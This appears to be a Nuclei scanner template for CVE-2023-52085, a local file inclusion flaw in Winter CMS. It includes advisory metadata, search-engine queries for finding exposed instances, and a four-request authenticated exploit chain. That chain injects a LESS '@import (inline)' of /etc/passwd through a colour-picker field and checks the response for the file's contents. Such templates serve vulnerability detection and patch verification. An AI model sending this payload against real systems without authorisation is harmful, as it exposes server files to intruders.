Winter CMS Local File Inclusion - (LFI)

id: CVE-2023-52085

info:
  name: Winter CMS Local File Inclusion - (LFI)
  author: sanineng
  severity: medium
  description: |
    Winter is a free, open-source content management system. Users with access to backend forms that include a ColorPicker FormWidget can provide a value that would then be included without further processing in the compilation of custom stylesheets via LESS. This had the potential to lead to a Local File Inclusion vulnerability. This issue has been patched in v1.2.4.
  impact: |
    Authenticated attackers can include local files via LESS compilation, potentially exposing sensitive file contents and system paths.
  remediation: |
    Upgrade Winter CMS to version 1.2.4 or later.
  reference:
    - https://github.com/wintercms/winter/security/advisories/GHSA-2x7r-93ww-cxrq
    - https://nvd.nist.gov/vuln/detail/CVE-2023-52085
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-52085
    cwe-id: CWE-22
    epss-score: 0.30166
    epss-percentile: 0.97992
    cpe: cpe:2.3:a:wintercms:winter:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: wintercms
    product: winter
    shodan-query:
      - "title:\"Winter CMS\""
      - http.title:"winter cms"
    fofa-query:
      - "title=\"Winter CMS\""
      - title="winter cms"
    google-query: intitle:"winter cms"
  tags: cve,cve2023,authenticated,lfi,wintercms,vuln

http:
  - raw:
      - |
        GET /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{_token}}&postback=1&login={{username}}&password={{password}}

      - |
        POST /backend/system/mailbrandsettings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-WINTER-REQUEST-HANDLER: onSave
        X-WINTER-REQUEST-PARTIALS:
        X-Requested-With: XMLHttpRequest

        _token={{_token}}&MailBrandSetting%5Bbody_bg%5D=%2342445B;@import%20(inline)%20%22/etc/passwd%22&redirect=0

      - |
        GET /backend/system/mailbrandsettings HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: regex
        part: body_4
        regex:
          - "root:[x*]:0:0:"

    extractors:
      - type: regex
        part: body
        name: _token
        group: 1
        regex:
          - '<input name="_token" type="hidden" value="([0-9a-zA-Z]{40})">'
        internal: true
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